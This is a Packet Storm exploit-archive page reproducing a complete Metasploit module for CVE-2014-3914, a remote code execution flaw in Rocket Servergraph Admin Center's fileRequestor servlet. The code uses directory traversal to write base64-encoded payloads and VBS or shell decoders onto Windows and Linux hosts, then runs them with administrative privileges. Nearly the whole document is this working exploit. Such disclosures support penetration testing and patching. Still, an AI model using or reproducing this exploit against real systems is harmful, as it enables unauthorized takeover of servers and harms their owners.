Lucene search

K
packetstormRgodPACKETSTORM:127126
HistoryJun 17, 2014 - 12:00 a.m.

Rocket Servergraph Admin Center fileRequestor Remote Code Execution

2014-06-1700:00:00
rgod
packetstormsecurity.com
24

0.969 High

EPSS

Percentile

99.7%

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',  
'Description' => %q{  
This module abuses several directory traversal flaws in Rocket Servergraph Admin  
Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,  
allowing a remote attacker to write arbitrary files and execute commands with  
administrative privileges. This module has been tested successfully on Rocket  
ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu  
12.04 64 bits.  
},  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['CVE', '2014-3914'],  
['ZDI', '14-161'],  
['ZDI', '14-162'],  
['BID', '67779']  
],  
'Privileged' => true,  
'Platform' => %w{ linux unix win },  
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD],  
'Payload' =>  
{  
'Space' => 8192, # it's writing a file, so just a long enough value  
'DisableNops' => true  
#'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply  
},  
'Targets' =>  
[  
[ 'Linux (Native Payload)',  
{  
'Platform' => 'linux',  
'Arch' => ARCH_X86  
}  
],  
[ 'Linux (CMD Payload)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD  
}  
],  
[ 'Windows / VB Script',  
{  
'Platform' => 'win',  
'Arch' => ARCH_X86  
}  
],  
[ 'Windows CMD',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Oct 30 2013'))  
  
register_options(  
[  
Opt::RPORT(8888)  
], self.class)  
  
register_advanced_options(  
[  
OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),  
OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),  
OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])  
], self.class)  
  
end  
  
def check  
os = get_os  
  
if os.nil?  
return Exploit::CheckCode::Safe  
end  
  
Exploit::CheckCode::Appears  
end  
  
def exploit  
os = get_os  
  
if os == 'win' && target.name =~ /Linux/  
fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")  
elsif os == 'linux' && target.name =~ /Windows/  
fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")  
elsif os.nil?  
print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")  
end  
  
if target.name =~ /Windows.*VB/  
exploit_windows_vbs  
elsif target.name =~ /Windows.*CMD/  
exploit_windows_cmd  
elsif target.name =~ /Linux.*CMD/  
exploit_linux_cmd  
elsif target.name =~ /Linux.*Native/  
exploit_linux_native  
end  
end  
  
def exploit_windows_vbs  
traversal = "\\.." * traversal_depth  
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)  
temp = temp_dir('win')  
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"  
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"  
exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"  
  
print_status("#{peer} - Dropping the encoded payload to filesystem...")  
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)  
  
vbs = generate_decoder_vbs({  
:temp_dir => "C:#{temp}",  
:encoded_file_name => encoded_file_name,  
:exe_file_name => exe_file_name  
})  
print_status("#{peer} - Dropping the VBS decoder to filesystem...")  
write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)  
  
register_files_for_cleanup("C:#{temp}#{decoder_file_name}")  
register_files_for_cleanup("C:#{temp}#{encoded_file_name}")  
register_files_for_cleanup("C:#{temp}#{exe_file_name}")  
print_status("#{peer} - Executing payload...")  
execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")  
end  
  
  
def exploit_windows_cmd  
traversal = "\\.." * traversal_depth  
execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")  
end  
  
def exploit_linux_native  
traversal = "/.." * traversal_depth  
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)  
temp = temp_dir('linux')  
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"  
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"  
elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"  
  
print_status("#{peer} - Dropping the encoded payload to filesystem...")  
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)  
  
decoder = <<-SH  
#!/bin/sh  
  
base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}  
chmod 777 #{temp}#{elf_file_name}  
#{temp}#{elf_file_name}  
SH  
  
print_status("#{peer} - Dropping the decoder to filesystem...")  
write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)  
  
register_files_for_cleanup("#{temp}#{decoder_file_name}")  
register_files_for_cleanup("#{temp}#{encoded_file_name}")  
register_files_for_cleanup("#{temp}#{elf_file_name}")  
  
print_status("#{peer} - Giving execution permissions to the decoder...")  
execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")  
  
print_status("#{peer} - Executing decoder and payload...")  
execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")  
end  
  
def exploit_linux_cmd  
temp = temp_dir('linux')  
elf = rand_text_alpha(4 + rand(4))  
  
traversal = "/.." * traversal_depth  
print_status("#{peer} - Dropping payload...")  
write_file("#{traversal}#{temp}#{elf}", payload.encoded)  
register_files_for_cleanup("#{temp}#{elf}")  
print_status("#{peer} - Providing execution permissions...")  
execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")  
print_status("#{peer} - Executing payload...")  
execute("#{traversal}#{temp}#{elf}")  
end  
  
def generate_decoder_vbs(opts = {})  
decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")  
  
f = File.new(decoder_path, "rb")  
decoder = f.read(f.stat.size)  
f.close  
  
decoder.gsub!(/>>decode_stub/, "")  
decoder.gsub!(/^echo /, "")  
decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")  
decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")  
  
decoder  
end  
  
def get_os  
os = nil  
path = ""  
hint = rand_text_alpha(3 + rand(4))  
  
res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")  
  
if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/  
path = $1  
elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/  
path = $1  
end  
  
if path =~ /^\//  
os = 'linux'  
elsif path =~ /^[a-zA-Z]:\\/  
os = 'win'  
end  
  
os  
end  
  
def temp_dir(os)  
temp = ""  
case os  
when 'linux'  
temp = linux_temp_dir  
when 'win'  
temp = win_temp_dir  
end  
  
temp  
end  
  
def linux_temp_dir  
dir = "/tmp/"  
  
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?  
dir = datastore['TEMP_DIR']  
end  
  
unless dir.start_with?("/")  
dir = "/#{dir}"  
end  
  
unless dir.end_with?("/")  
dir = "#{dir}/"  
end  
  
dir  
end  
  
def win_temp_dir  
dir = "\\#{win_dir}\\Temp\\"  
  
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?  
dir = datastore['TEMP_DIR']  
end  
  
dir.gsub!(/\//, "\\")  
dir.gsub!(/^([A-Za-z]:)?/, "")  
  
unless dir.start_with?("\\")  
dir = "\\#{dir}"  
end  
  
unless dir.end_with?("\\")  
dir = "#{dir}\\"  
end  
  
dir  
end  
  
def win_dir  
dir = "WINDOWS"  
if datastore['WINDIR']  
dir = datastore['WINDIR']  
dir.gsub!(/\//, "\\")  
dir.gsub!(/[\\]*$/, "")  
dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")  
end  
  
dir  
end  
  
def traversal_depth  
depth = 20  
  
if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1  
depth = datastore['TRAVERSAL_DEPTH']  
end  
  
depth  
end  
  
def write_file(file_name, contents)  
res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)  
  
unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /  
fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")  
end  
  
res  
end  
  
def execute(command)  
res = send_request(1, "run", command)  
  
res  
end  
  
def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))  
data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"  
data << "&title=#{rand_text_alpha(rand(4) + 4)}"  
data << "&params=#{rand_text_alpha(rand(4) + 4)}"  
data << "&id=#{rand_text_alpha(rand(4) + 4)}"  
data << "&cmd=#{command}"  
data << "&source=#{source}"  
data << "&query=#{query}"  
  
res = send_request_cgi(  
{  
'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'),  
'method' => 'POST',  
'data' => data  
}, timeout)  
  
res  
end  
  
end  
`

0.969 High

EPSS

Percentile

99.7%